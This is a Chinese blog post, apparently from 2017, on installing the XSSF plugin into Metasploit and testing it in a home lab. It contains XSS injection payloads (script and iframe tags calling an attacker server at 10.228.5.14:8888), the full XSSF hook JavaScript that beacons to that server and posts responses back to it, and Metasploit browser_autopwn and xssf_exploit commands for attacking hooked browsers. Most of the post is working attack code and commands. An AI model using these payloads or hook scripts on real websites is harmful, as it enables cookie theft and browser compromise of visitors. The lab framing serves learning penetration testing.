为Metasploit添加XSSF模块


发布人:admin分类:网络安全浏览量:28发布时间:2017-12-12

在看《Metasploit渗透测试魔鬼训练营》的时候讲的XSSF模块的使用,感觉这个模块很神奇,原理虽然不知道但是觉得应该让大家的Metasploit都添加上这个模块,以备不时之需,本文目的仅仅是分享一下XSSF这个工具的安装和使用方法。

KALI Llinux安装方法:

安装最新的KALI Linux,现在是v1.0.6版本,metasploit版本4.8.2(下载地址http://www.kali.org/downloads/)

终端输入:

svn exporthttp://xssf.googlecode.com/svn/trunk/ XSSF

下载XSSF源代码,下载完成后会出现在根目录下,然后找到/opt/metasploit/apps/pro/msf3目录,将XSSF文件夹中的data、lib、modules、plugins与msf3下的文件夹合并即可。

接下来运行metsaploit framework

加载xssf模块:

msf > load xssf

Windows安装XSSF模块

下载安装Metasploit windows免费版

http://downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe

下载xssf源代码:选择最新的3.0下载,下载地址(http://code.google.com/p/xssf/downloads/list)

安装完成后将下xssf源码放到安装目录msf3下(如D:metasploitappspromsf3),同样将XSSF文件夹中的data、lib、modules、plugins与msf3下的文件夹合并即可。

运行metasploit客户端

加载xssf模块:

msf > load xssf

这样就可以使用了。

测试:

在靶机的博客中添加xss代码,让其访问“http://10.228.5.14:8888/loop”这个页面,至于怎么构造成XSS我也不太清楚,我在博客的页面写了两个XSS代码,一个是<script /xss src=http://10.228.5.14:8888/loop/></script>,另一个是<iframe src=http://10.228.5.14:8888/loop/></iframe>,当我访问之后在Metasploit中显示了有客户端连接成功(使用xssf_victims),如图:

大家可以看到5.10是XP系统的靶机,5.14是我的真机win 8.1+Firefox 26。

在iframe插入的窗口中可以看到10.228.5.14:8888/loop的源代码,本人能力有限,只能看出第一句尝试获取cookie,后面的就不确定了。

function XSSF_EXECUTE_LOOP() {
                        try { if (document.getElementById('XSSF_CODE') != null) document.body.removeChild(document.getElementById('XSSF_CODE')); } catch(e) {}
                        script = document.createElement('script');    script.id = "XSSF_CODE";
                        script.src = "http://10.228.5.14:8888/ask?location=" + window.location.protocol + "//" + window.location.host + "&id=3&time=" + escape(new Date().getTime());
                        document.body.appendChild(script);
                    }
    
                    if (typeof(XSSF_LOOP) != "undefined")    clearInterval(XSSF_LOOP);
                    XSSF_LOOP = setInterval(XSSF_EXECUTE_LOOP, 10 * 1000);    // Interrupt with clearInterval(XSSF_LOOP);
                
                    function XSSF_CREATE_XHR() {
                        if (window.XMLHttpRequest) return new XMLHttpRequest();
                        if (window.XDomainRequest) return new XDomainRequest(); 
                        if (window.ActiveXObject) {
                            var names = ["Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP"];
                            for(var i in names) {
                                try{ return new ActiveXObject(names[i]); }
                                catch(e){}
                            }
                        }
                    }
                    function XSSF_GARBAGE() {
                        var iframes = document.getElementsByTagName('iframe');
                        for(var i = 0; i < iframes.length; i++)
                            if(iframes.item(i).getAttribute('name') == 'POST_IFRAME')
                                document.body.removeChild(iframes.item(i));
                    }
                    XSSF_DO_GARBAGE = setInterval(XSSF_GARBAGE, 10 * 1000);
                
                        function XSSF_PROCESS_BINARY(xmlhttp) {
                            data = xmlhttp.responseText;    r = "";        size = data.length;
                            for(var i = 0; i < size; i++)    r += String.fromCharCode(data.charCodeAt(i) & 0xff);
                            return r;
                        }
                                                                
                    function XSSF_POST_BINARY_AJAX_RESPONSE(x, method, url, mod_name, data, resp_id) {
                        mod_name = mod_name || null;    data = data || null;    resp_id    = resp_id || Math.floor(Math.random()*10000000);
                        if ((method != "GET") && (method != "POST")) return;
                        x.open(method, url, true);
                        x.setRequestHeader('Cache-Control', "no-cache");        x.setRequestHeader('Accept-Charset', "x-user-defined");                    
                        if (x.overrideMimeType)                                 x.overrideMimeType('text/plain; charset=x-user-defined');
                        if (method == "POST"){
                            x.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                            x.setRequestHeader("Content-length", data.length);        
                            x.setRequestHeader("Connection", "close");
                        }    
                        x.send(unescape(data));
                        x.onreadystatechange=function() {
                            if (x.readyState == 4) 
                                XSSF_POST(XSSF_PROCESS_BINARY(x), mod_name, x.getAllResponseHeaders() + "\n===" + x.status + "===\n==" + x.statusText + "==", resp_id);
                        }
                    }
                    function XSSF_CREATE_IFRAME(id, width, height) {        // Creates an Iframe
                        if (document.getElementById(id) != null) document.body.removeChild(document.getElementById(id));
                        
                        i = document.createElement('iframe');    i.id = id;
                        i.width = "0" + width + "%";            i.height = "0" + height + "%";
                        i.style.border = "0px";                    i.frameborder = "0";
                        i.scrolling = "auto";                    i.style.backgroundColor = "transparent";
                        
                        return i;
                    }
                    
                    function XSSF_POST_B64(response, mod_name) {
                        XSSF_POST("__________" + response + "__________", mod_name);
                    }
                
                        function XSSF_POST(response, mod_name, headers, resp_id) {
                            x = XSSF_CREATE_XHR();
                            headers = headers || "";        mod_name = mod_name || "Unknown";        resp_id    = resp_id || Math.floor(Math.random()*10000000);
                                
                            x.open("POST", "http://10.228.5.14:8888/answer");
                            x.send("name=" + escape(mod_name) + "&response=" + escape(response) + "&headers=" + escape(headers) + "&responseid=" + escape(resp_id) + "&id=3");
                        }
                    
                    XSSF_SERVER = "http://10.228.5.14:8888/";
                    XSSF_VICTIM_ID     = 3;
                    XSSF_XHR         = XSSF_CREATE_XHR();

Firefox访问的时候什么提示都没有,但是XP靶机进行访问的时候出现一个对话框,说文件不能被下载,浏览器找不到目标,防火墙已经关闭了,IE安全属性也是最低,不知到原因,希望知道原因的大牛告诉一下。               

XP的靶机不能打开链接,所以只能用真机试。–>在这里有一个误区,因为我看到XP靶机下面显示了一个NO,真机下面显示了一个YES,以为XP的IE浏览器无法检测,其实不然,我之后把窗口拉大又进行了测试,发现YES和NO指的是是否获取了cookie,并不是浏览器能否被检测。应该是看active选项,true可以进行测试,false不可以进行测试。

对firefox进行测试:

use auxiliary/server/browser_autopwn

set LHOST 10.228.5.14      #xssf捕捉到的客户端IP (被攻击者)

set SRVHOST 10.228.5.14    #运行metasploit的IP地址(攻击者)

exploit      #检测漏洞

jobs         #查看可用EXP

xssf_exploit 2 37    (2-xssf捕捉到的客户端序号,37-漏洞利用序号)

查看利用结果:sessions   #显示会话

测试了几个浏览器的漏洞没有成功,但是对于XSS的测试还是有帮助的,至少不会每次都是截一个弹窗的图,需要学习的还很多希望大牛们多多指点。

参考:http://code.google.com/p/xssf/

     《metasploit渗透测试魔鬼训练营》


被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21474789(PV) 页面执行时间:74.912(MS)
  • xml
  • 网站地图